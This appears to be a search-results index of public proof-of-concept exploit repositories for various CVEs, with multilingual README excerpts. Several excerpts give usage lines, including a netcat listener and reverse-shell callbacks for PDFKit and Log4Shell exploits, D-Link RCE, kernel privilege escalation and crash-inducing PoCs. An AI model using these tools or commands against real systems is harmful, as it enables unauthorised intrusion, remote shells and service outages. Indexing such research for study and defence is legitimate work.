484 matches found
CVE-2022-24706
CVE-2022-24706 CVE-2022-24706 POC 漏洞利用...
CVE-2023-23397-POC
CVE-2023-23397-POC CVE-2023-23397の脆弱性の簡単なPoC、ペイロードは電子メールで送信されます。...
CVE-2022-25765
CVE-2022-25765 漏洞利用 针对 CVE-2022-25765(PDFkit 命令注入)的小型 PoC 漏洞利用 使用方法 1. 在攻击机器上启动 netcat 监听器: nc -lvnp 4444 2. 运行漏洞利用程序: python cve-2022-25765.py -t http://目标IP:端口 -l 你的IP -p 你的端口 示例: python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444 参数说明: -t, --target:运行存在漏洞的 PDFKit 的目标 URL...
CVE-2018-4879
git clone https://github.com/Sch01ar/CVE-2018-4878.git cd CVE-2018-4878/ python cve-2018-4878.py...
CVE-2020-16898
CVE-2020-16898 Bad Neighbor BSOD(拒绝服务)漏洞利用 PoC 风险自负! 用法:CVE-2020-16898.exe "此处填写目标 IP"...
CVE-2018-15499
CVE-2018-15499 CVE-2018-15499 的 PoC 代码 更多信息请访问 @ https://downwithup.github.io/CVEPosts.html 受影响软件 下载 @: http://www.gearsoftware.com/support/drivers.php...
CVE-2020-13151-POC-Aerospike-Server-Host-Command-Execution-RCE-
CVE-2020-13151-POC-Aerospike-Server-Host-Command-Execution-RCE- 参照: https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html exploit.py - 実行するPythonコード...
CVE-2023-21554
CVE-2023-21554-PoC CVE-2023-21554 Windows MessageQueuing の PoC、 PoC 成功の兆候は mqsvc.exe プロセスのクラッシュであり、ポップアップメッセージは表示されません。これはプロセスモニターのようなプログラムで確認する必要があります。 Windows ターミナルまたはコマンドプロンプトでコマンドを実行します。 python poc.py 被害者 PC の IP アドレスを入力し、Enter キーを押します。...
CVE-2014-6287
PoCエクスプロイトbashスクリプト bash.webm エクスプロイトについて .shファイルを使用してリバースシェルを取得できます(Linux) .pyファイルを使用してリバースシェルを取得できます(WindowsおよびLinux)(Windowsではnetcatのインストールが必要) URLを指定する必要があります 例: http://target.com/ .pyの使用法: python exploit.py .shの使用法: chmod +x exploit.sh ./exploit.sh エクスプロイトタイトル: CVE-2014-6287 | Rejetto http...
CVE-2022-34918-LPE-PoC
CVE-2022-34918 LPE PoC CVE-2022-34918 的本地权限提升(LPE)漏洞利用。 该利用程序针对内核 Linux ubuntu 5.15.0-39-generic 编写。 相关分析文章可在我们的博客中找到。 使用方法 getroot 应位于当前文件夹中 $ ls getroot poc $ ./poc...
dlink_shell_poc
dlinkshellpoc Dlink shell PoC(概念验证) 已在 D-Link 815 Version A 1.3 上测试通过 适用于: DIR-110 DIR-412 DIR-600 DIR-610 DIR-615 DIR-645 https://vuldb.com/?id.7843 DIR-815 注意:PoC 代码不处理验证码。 示例 root@kali: ./dlinkshellpoc.py -h usage: dlinkshellpoc.py -h -p PASSWORD -u URL -x D-Link Service.cgi RCE optional...
CVE-2017-15950
CVE-2017-15950 针对漏洞 CVE-2017-15950 的 PoC 漏洞利用代码,涉及 SyncBreeze XML 解析器和/或 Sync 功能中的基于堆栈的缓冲区溢出漏洞。 用法 运行 XML 载荷生成器时,脚本将输出一个 XML 文件 xplSyncBreeze.xml ,其中包含可通过 SyncBreeze 导入的载荷。 python3 payloadgeneratorXMLCVE-2017-15950.py 运行默认载荷生成器时,脚本将输出一个 TXT 文件 POCPayload.txt ,其中包含要插入到 Sync 功能 Destination PATH 或...
log4j-shell-poc
log4shell-poc(CVE-2021-44228) 针对Log4j漏洞(CVE-2021-44228)的概念验证(PoC)利用工具,该漏洞也被称为Log4Shell。该工具会生成一个恶意Java类,启动LDAP引用服务器,并通过HTTP提供payload,使远程攻击者能够在易受攻击的目标上执行任意命令。 功能特性 自动检测本地IPv4地址作为默认绑定IP。 内置JDK 1.8.020支持(推荐),并回退到系统Java。 内联反弹shell payload(回连到netcat监听器)。 干净的编译与生成文件清理。 环境要求 Python 3.6 或更高版本 以下文件/目录必须与...
POC-CVE-2026-19295
Description Proof of concept exploit code for CVE-2026-19295 Usage python3 poc.py -url -uname -pword -c...
poc_exploit_paxton_license
Paxton NET2 软件密钥生成器的 POC 漏洞利用 此 POC 会生成一个有效的许可证文件,以使用 Paxton NET2 API。...
Dr.DLL-CVE-2018-18333
Attack CVE Windows - CVE-2018-18333 前提条件 📋 Names| Method of install ---|--- metasploit| Click for install pythonv.X| apt install python 执行: Execute 🚬 1. $ sudo python Dr.Dll.py 2. 输入请求的数据(Enter the requested data) 3. 启动 metasploit Start metasploit 可选 4. Happy Hacking :...
CVE-2020-3452
CVE-2020-3452 要約 これはCVE-2020-3452のエクスプロイトです。まだ完全には完成していません。法的な文脈で使用してください。もし失敗しても自己責任です。 これは何? これはCVE-2020-3452の元のPoCを強化するための迅速で粗雑な試みです。現時点では、元のPoCと全く同じことを行う単純なPythonスクリプトにすぎません。 免責事項 本ソフトウェアは「現状のまま」提供され、明示または黙示を問わず、 商品性、特定目的への適合性、および非侵害の保証を含むがこれに限定されない、いかなる保証もありません。 いかなる場合においても、著作者または著作権者は、...
CVE-2020-16898
これは教育目的の演習です。自己責任で使用してください。 CVE-2020-16898 エクスプロイト Windows バイナリ PoC ./CVE-2020-16898.exe -t -u でエクスプロイトが実行されます。 ./CVE-2020-16898.exe -t 10.10.10.1 -u Administrator 他のエクスプロイトはこちら これは、インターネット上のバイナリを信頼すべきでない理由を学ぶための教訓です。...
cve-2026-1668-poc
针对 CVE-2026-1668 的概念验证漏洞利用程序 这是针对 CVE-2026-1668 的概念验证漏洞利用程序。它仅用于教育目的。请勿尝试利用您不拥有或未经明确许可的系统。 该概念验证是针对具有以下 SHA256 哈希的固件镜像开发的:4b862b8dd7fde44fa57a39b35b562f21878dd6abb8e92ccd9cdef571ed60d544。 已知与该哈希匹配的固件名称(非详尽列表): SG2005P-PDv1en1.0.1620251031-rel72837up.bin SG2008Pv3en3.20.1420251031-rel72837up.bin...
CVE-2023-31320
CVE-2023-31320 针对 AMD 显示驱动程序中导致显示损坏的拒绝服务漏洞的概念验证代码。 AMD 安全公告 演示 此视频包含闪烁灯光! https://github.com/whypet/CVE-2023-31320/assets/47226783/658776cb-6dbc-4a76-a671-fc1f4924b2a9 构建 Clang: clang++ main.cpp -Oz -luser32 -ld3d11 -ld3dcompiler -o out/CVE-2023-31320.exe GCC: g++ main.cpp -Oz -municode -luser32...